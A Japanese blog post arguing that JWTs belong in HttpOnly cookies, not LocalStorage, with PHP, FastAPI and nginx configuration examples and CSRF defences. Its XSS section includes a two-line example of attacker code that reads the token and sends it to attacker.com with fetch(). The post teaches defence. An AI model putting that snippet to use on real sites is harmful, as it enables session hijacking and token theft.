JWTの「置き場所」で人生を棒に振るな:LocalStorageか、Cookieか。
「JWTをどこに保存すればいいですか?」
新人のエンジニアからこの質問を受けるたび、私は少しだけ背筋が凍る思いをします。なぜなら、この選択を誤ることは、「家の鍵を玄関マットの下に隠す」のと同じくらい無防備な行為だからです。
結論から言おう。現代のWebアプリケーションにおいて、JWTをLocalStorageに保存する選択肢は、原則として「排除」すべきだ。
今日は、なぜLocalStorageが脆弱なのか、そしてなぜHttpOnly Cookieが最強の防壁となり得るのか。インシデント現場の泥臭い知見を交えて解説する。
—
なぜLocalStorageは「XSSの餌食」なのか
多くの開発者がLocalStorageを使う理由は簡単だ。「JavaScriptで扱いやすいから」。だが、その利便性が致命的な盲点となる。
攻撃シナリオ:XSSによるトークン強奪
攻撃者が掲示板の投稿フォームやプロフィール設定などに悪意あるスクリプトを仕込んだとする。ユーザーがそのページを開くと、ブラウザ上で攻撃者のスクリプトが実行される。
// 攻撃者の悪意あるコード(XSSで実行される)
const token = localStorage.getItem(‘jwt_token’);
fetch(‘https://attacker.com/steal?token=’ + token); // 外部サーバーへ送信
LocalStorageは、ドメイン単位のすべてのスクリプトから読み取りが可能だ。一度でもXSSを許せば、セッションは瞬時に乗っ取られる。どんなに堅牢なバックエンドも、鍵(JWT)を丸裸で渡していれば無力だ。
—
聖域としての「HttpOnly Cookie」
対して、HttpOnly Cookieは、JavaScriptからアクセス不能という最強の特権を持つ。スクリプトがどれだけ頑張っても、`document.cookie`でその値を盗むことはできない。これがゲームチェンジャーだ。
実装の最適解:サーバーサイドのセットヘッダー
PHPやPython(FastAPI/Flask)でJWTを発行する際、レスポンスヘッダーを以下のように設定する。
PHPでの実装例
time() + 3600,
‘path’ => ‘/’,
‘domain’ => ‘example.com’,
‘secure’ => true, // 本番環境では必須
‘httponly’ => true, // 必須:XSS対策の要
‘samesite’ => ‘Lax’ // CSRF対策として最低限の設定
]);
?>
Python (FastAPI) での実装例
from fastapi import Response
@app.post(“/login”)
def login(response: Response):
token = create_jwt()
response.set_cookie(
key=”jwt_token”,
value=token,
httponly=True, # JSから読み取らせない
secure=True, # HTTPS必須
samesite=”lax”, # クロスサイトリクエストでの送信を制御
max_age=3600
)
return {“message”: “Logged in”}
—
「CSRF」という新たな試練と防御策
「CookieにするとCSRF(クロスサイトリクエストフォージェリ)が心配だ」という声が聞こえてくる。確かに、Cookieはブラウザが自動送信するため、CSRFのリスクが伴う。
しかし、現代の防御策は成熟している。
1. SameSite属性の徹底: `SameSite=Lax`を設定するだけで、ほとんどの意図しないリクエストはブロックされる。
2. Custom Headerの活用: APIサーバー側で `X-Requested-With` などのカスタムヘッダーを必須にする。Cookieベースの認証であっても、ブラウザの制限(CORS)により、攻撃者が他ドメインからカスタムヘッダー付きのリクエストを送ることは非常に困難だ。
—
インフラ・WAFでの防御(nginx設定例)
アプリケーションコードだけでなく、インフラ層でもCookieを保護すべきだ。nginxで強制的にフラグを付与する設定も有効な手段となる。
nginx.conf
すべてのSet-CookieヘッダーにSecureとHttpOnlyを強制付与する
proxy_cookie_path / “/; HTTPOnly; Secure; SameSite=Lax”;
—
結論:セキュリティは「多層」で考えろ
最後に、現場の先輩として一つだけ忠告しておく。
「HttpOnly Cookieを使っているから安心」と油断してはならない。
セキュリティは「LocalStorageを使わない」という選択を起点に、以下の層で守るものだ。
- 入力バリデーション: XSSそのものを発生させない。
- CSP (Content Security Policy): 万が一XSSがあっても、外部へのデータ送信を禁止する。
- HttpOnly Cookie: トークンの漏洩を物理的に防ぐ。
「動けばいい」というコードは、いつか必ず誰かの人生を狂わせる。JWTを扱うときは、常に「この鍵はどこにあるのか?」を自問自答してほしい。君たちが書くその一行が、ユーザーの情報を守る最後の砦になるのだから。
さて、コードに戻ろう。脆弱性を埋め込むな。強固なシステムを構築するんだ。期待しているよ。

コメント